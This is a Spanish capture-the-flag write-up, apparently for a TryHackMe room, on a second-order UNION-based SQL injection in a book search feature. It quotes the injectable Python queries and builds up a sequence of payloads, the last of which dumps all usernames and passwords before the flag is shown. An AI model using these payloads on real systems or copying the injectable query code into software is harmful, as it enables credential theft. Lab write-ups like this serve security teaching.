Ambas peticiones son vulnerables y la primera petición puede ser explotada con inyección ciega de SQL.

Sin embargo, como la segunda petición también es vulnerable, es posible simplificar la explotación y usar una inyección basada en UNION en lugar de una inyección ciega basada en booleanos, haciendo más fácil y menos ruidosa la explotación.

El objetivo es abusar de esta vulnerabilidad sin usar inyección ciega y recuperar la bandera.

Nos vamos al escenario, registramos un usuario y vamos a la pantalla de búsqueda que nos dice.

Cuando buscamos un libro, la página realiza una petición GET. La aplicación realiza entonces dos peticiones donde la primera obtiene el ID del libro y, después, una nueva petición obtiene toda la información de dicho libro.

Aquí podemos ver las dos peticiones.

bid = db.sql_query(f"SELECT id FROM books WHERE title like '{title}%'", one=True)
if bid:
    query = f"SELECT * FROM books WHERE id = '{bid['id']}'"

Primero, limitaremos el resultado a cero filas. Esto se puede hacer no dando ningún input o con uno inexistente.

Tras eso, podemos usar UNION para controlar lo que devuelve la primera petición, que será el dato que usará la segunda.

Eso significa que podemos inyectar el siguiente valor en el campo de búsqueda:

' union select 'STRING

Así, la aplicación realizará las siguientes peticiones.

Peticiones con inyeccion SQL

De esas peticiones vemos que el resultado de la primera es STRING%, que se usa en la cláusula WHERE de la segunda petición.

Si reemplazamos ‘STRING por un número que existe en la base de datos, la aplicación debería devolver un objeto válido. Sin embargo, añade un comodín (%) a la cadena, lo que significa que primero debemos comentar dicho comodín añadiendo ‘– - al final de la cadena que inyectamos.

Por ejemplo si inyectamos lo siguiente:

' union select '1'-- -

La aplicación debería mostrar el libro con ID 1 al usuario:

Devolución de la peticion

Si no limitamos primero el resultado a 0 filas, no hubiéramos obtenido el resultado de la declaración UNION, sino el contenido de la cláusula LIKE.

Por ejemplo, inyectando esta cadena:

test' union select '1'-- -

La aplicación hubiera ejecutado las siguientes peticiones.

Peticiones SQLi

Ahora que tenemos control completo de la segunda petición, podemos usar una inyección SQL basada en UNION para extraer datos de la base de datos.

La meta es hacer que la segunda petición sea algo parecido a esto:

SELECT * FROM books WHERE id = '' union select 1,2,3,4-- -

Hacer que la aplicación ejecute la petición superior, debería ser tan fácil como inyectar lo siguiente.

' union select '1' union select 1,2,3,4-- -

Sin embargo, estamos cerrando la cadena que se supone que debe ser retornada añadiendo una comilla simple (‘) antes de la segunda cláusula UNION.

Para que funcione y devuelva la segunda cláusula UNION, tenemos que escapar la comilla simple. Eso se puede hacer doblándola (“). Tras eso, tenemos:

' union select '-1''union select 1,2,3,4-- -'

Inyectando la cadena de arriba, deberíamos ver esta página:

Inyectando la comilla escapada

Ahora tenemos que usar la inyección SQL basada en UNION y explotar la función de búsqueda vulnerable para recuperar la bandera.

Para eso, aplicamos lo de más arriba y lo que hemos visto de UNION y group_concat()

' union select '-1''union select 1,group_concat(username),group_concat(password),4 from users-- -

Y nos sale la bandera.

THM{183526c1843c09809695a9979a672f09}

Esta habitación requiere realmente de conocimiento SQL para entender bien lo que estamos haciendo, especialmente en las partes más avanzadas.